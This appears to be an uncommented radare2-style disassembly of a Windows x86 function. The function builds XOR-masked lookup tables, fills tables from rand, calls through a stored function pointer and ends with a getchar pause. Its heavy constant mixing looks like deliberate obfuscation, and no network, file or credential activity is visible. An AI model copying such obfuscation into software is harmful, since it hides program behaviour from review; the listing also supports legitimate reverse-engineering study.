mov dword [ebp - 0x58], edx
mov dword [ebp - 0x10], eax
shr eax, 8
xor al, 0xcc
mov dword [ebp - 0x28], 4
mov byte [ebp - 0xf], al
mov eax, dword [ebp - 0x10]
mov byte [ebp - 0x28], 4
mov edx, dword [ebp - 0x28]
mov ecx, edx
shl ecx, 0x18
xor eax, ecx
shl esi, 0x10
movzx ecx, byte [ebp - 0x15]
mov dword [ebp - 0x10], eax
shr eax, 0x10
mov byte [ebp - 0xe], al
mov eax, dword [ebp - 0x10]
xor eax, esi
shl edx, 8
mov dword [ebp - 0x10], eax
shr eax, 0x18
xor al, 0xae
mov byte [ebp - 0xd], al
mov eax, dword [ebp - 0x10]
xor eax, edx
imul edx, ecx, 0xff
mov ecx, dword [ebp - 0x18]
movzx ecx, cl
imul ecx, ecx, 0xffffff80
sub ecx, edx
lea edx, [ecx - 1]
mov ecx, dword [ebp - 0x58]
and ecx, eax
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0x18]
xor ecx, edx
cmp byte [0x8a9050], 0
mov dword [ebp - 0x58], ecx
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x24], eax
jne 0x405c21
mov edx, 0xfeeddccb
mov ecx, 0x8a9058
nop word [eax + eax]
mov eax, edx
sub edx, 0xffff
xor eax, 0xababdbf3
mov dword [ecx], eax
add ecx, 4
cmp ecx, 0x8a9454
jl 0x405c00
mov byte [0x8a9050], 1
mov dword [ebp - 0x10], 0xfae9e8d7
xor esi, esi
mov cl, 0xd7
nop dword [eax]
mov dl, byte [ebp + esi - 0x24]
inc esi
xor byte [ebp - 0xf], dl
mov al, dl
xor byte [ebp - 0xe], dl
xor al, cl
xor byte [ebp - 0xd], dl
not dl
movzx ecx, dl
mov byte [ebp - 0x10], al
mov ecx, dword [ecx*4 + 0x8a9058]
xor ecx, dword [ebp - 0x10]
mov dword [ebp - 0x10], ecx
cmp esi, 4
jb 0x405c30
movzx eax, byte [ebp - 0x28]
mov dword [ebp - 0x40], 4
mov byte [ebp - 0x40], al
movzx eax, byte [ebp - 0x48]
mov esi, dword [ebp - 0x40]
mov dword [ebp - 0x30], 4
mov byte [ebp - 0x30], al
mov al, cl
mov edi, dword [ebp - 0x30]
xor al, 4
mov byte [ebp - 0x10], al
mov edx, edi
mov eax, dword [ebp - 0x10]
shl edx, 0x18
xor eax, edx
shl edi, 0x10
mov dword [ebp - 0x10], eax
mov edx, esi
shr eax, 8
xor al, 0xcc
shl edx, 0x18
mov byte [ebp - 0xf], al
mov eax, dword [ebp - 0x10]
xor eax, edx
shl esi, 8
mov edx, dword [ebp - 0x58]
mov dword [ebp - 0x10], eax
shr eax, 0x10
mov byte [ebp - 0xe], al
mov eax, dword [ebp - 0x10]
xor eax, edi
mov dword [ebp - 0x10], eax
shr eax, 0x18
xor al, 0xae
mov byte [ebp - 0xd], al
mov eax, dword [ebp - 0x10]
xor eax, esi
and ecx, eax
xor ecx, dword [ebp - 0x14]
cmp ecx, edx
je 0x405cf2
mov esi, dword [0x8a9454]
sub esp, 0x28
mov eax, esp
push ecx
push edx
mov ecx, eax
call fcn.00401510
lea ecx, [ebp - 0x24]
call esi
mov eax, dword [ebp - 0x24]
jmp 0x405cf5
mov eax, dword [ebp - 0x18]
cmp byte [0x8a8f67], 0
mov dword [ebp - 0x48], eax
jne 0x405ea6
xor esi, esi
mov dword [ebp - 0x28], esi
nop word [eax + eax]
lea ecx, [ebp - 0x3c]
call fcn.00401410
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdq
push edx
push eax
push dword [ebp - 0x38]
push dword [ebp - 0x3c]
call fcn.00528990
push 0
push 0x10
push edx
push eax
call fcn.00528990
inc eax
lea ecx, [ebp - 0x34]
xor eax, 0x10
shl eax, 0xa
or eax, 0x1010101
mov dword [esi + 0x8a9010], eax
call fcn.00401410
mov edi, dword [eax]
mov esi, dword [eax + 4]
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdq
push edx
push eax
push esi
push edi
call fcn.00528990
push 0
push 0x20
push edx
push eax
call fcn.00528990
mov ecx, dword [ebp - 0x28]
inc eax
xor eax, 0x20
shl eax, 0xb
or eax, 0x1010101
mov dword [ecx + 0x8a8fd0], eax
lea ecx, [ebp - 0x44]
call fcn.00401410
mov edi, dword [eax]
mov esi, dword [eax + 4]
mov dword [ebp - 0x3c], edi
mov dword [ebp - 0x38], esi
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdq
push edx
push eax
push esi
push edi
call fcn.00528990
push 0
push 0x40
push edx
push eax
call fcn.00528990
mov esi, dword [ebp - 0x28]
inc eax
xor eax, 0x40
shl eax, 0xc
or eax, 0x1010101
mov dword [esi + 0x8a8f90], eax
add esi, 4
mov dword [ebp - 0x28], esi
cmp esi, 0x40
jl 0x405d10
lea ecx, [ebp - 0x3c]
call fcn.00401410
mov esi, dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
xor edi, edi
call esi
and eax, 0x8000000f
jns 0x405df6
dec eax
or eax, 0xfffffff0
inc eax
inc al
movsx eax, al
cdq
push edx
push eax
push dword [ebp - 0x38]
push dword [ebp - 0x3c]
call fcn.00528990
mov byte [edi + 0x8a8f8c], al
inc edi
cmp edi, 4
jb 0x405de8
lea ecx, [ebp - 0x2c]
call fcn.00401410
xor edi, edi
mov ecx, dword [eax]
mov eax, dword [eax + 4]
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x14], eax
nop word [eax + eax]
call esi
and eax, 0x8000000f
jns 0x405e3e
dec eax
or eax, 0xfffffff0
inc eax
inc al
movsx eax, al
cdq
push edx
push eax
push dword [ebp - 0x14]
push dword [ebp - 0x1c]
call fcn.00528990
mov byte [edi + 0x8a8f84], al
inc edi
cmp edi, 8
jb 0x405e30
lea ecx, [ebp - 0x5c]
call fcn.00401410
xor edi, edi
mov ecx, dword [eax]
mov eax, dword [eax + 4]
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x14], eax
call esi
and eax, 0x8000000f
jns 0x405e80
dec eax
or eax, 0xfffffff0
inc eax
inc al
movsx eax, al
cdq
push edx
push eax
push dword [ebp - 0x14]
push dword [ebp - 0x1c]
call fcn.00528990
mov byte [edi + 0x8a8f78], al
inc edi
cmp edi, 0xc
jb 0x405e72
mov byte [0x8a8f67], 1
xor edi, edi
nop dword [eax + eax]
mov al, byte [ebp + edi - 0x48]
xor esi, esi
nop word [eax + eax]
movzx edx, byte [esi + 0x8a8f8c]
inc esi
mov cl, byte [edx*4 + 0x8a9010]
xor cl, byte [edx*4 + 0x8a9012]
xor cl, byte [edx*4 + 0x8a9011]
xor al, cl
xor al, byte [edx*4 + 0x8a9013]
cmp esi, 4
jb 0x405ec0
xor esi, esi
nop dword [eax]
movzx edx, byte [esi + 0x8a8f84]
inc esi
mov cl, byte [edx*4 + 0x8a8fd0]
xor cl, byte [edx*4 + 0x8a8fd2]
xor cl, byte [edx*4 + 0x8a8fd1]
xor al, cl
xor al, byte [edx*4 + 0x8a8fd3]
cmp esi, 8
jb 0x405ef0
xor esi, esi
nop dword [eax]
movzx edx, byte [esi + 0x8a8f78]
inc esi
mov cl, byte [edx*4 + 0x8a9010]
xor cl, byte [edx*4 + 0x8a9012]
xor cl, byte [edx*4 + 0x8a9011]
xor al, cl
xor al, byte [edx*4 + 0x8a9013]
cmp esi, 0xc
jb 0x405f20
mov byte [ebp + edi - 0x48], al
inc edi
cmp edi, 4
jb 0x405eb0
lea ecx, [ebp - 0x24]
call fcn.00401690
mov eax, dword [ebp - 0x50]
cmp eax, dword [ebp - 0x48]
jge 0x405f6e
call fcn.00402ec0
mov esi, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
call esi
jmp 0x405f74
push 0x80004003
call fcn.00406680
int3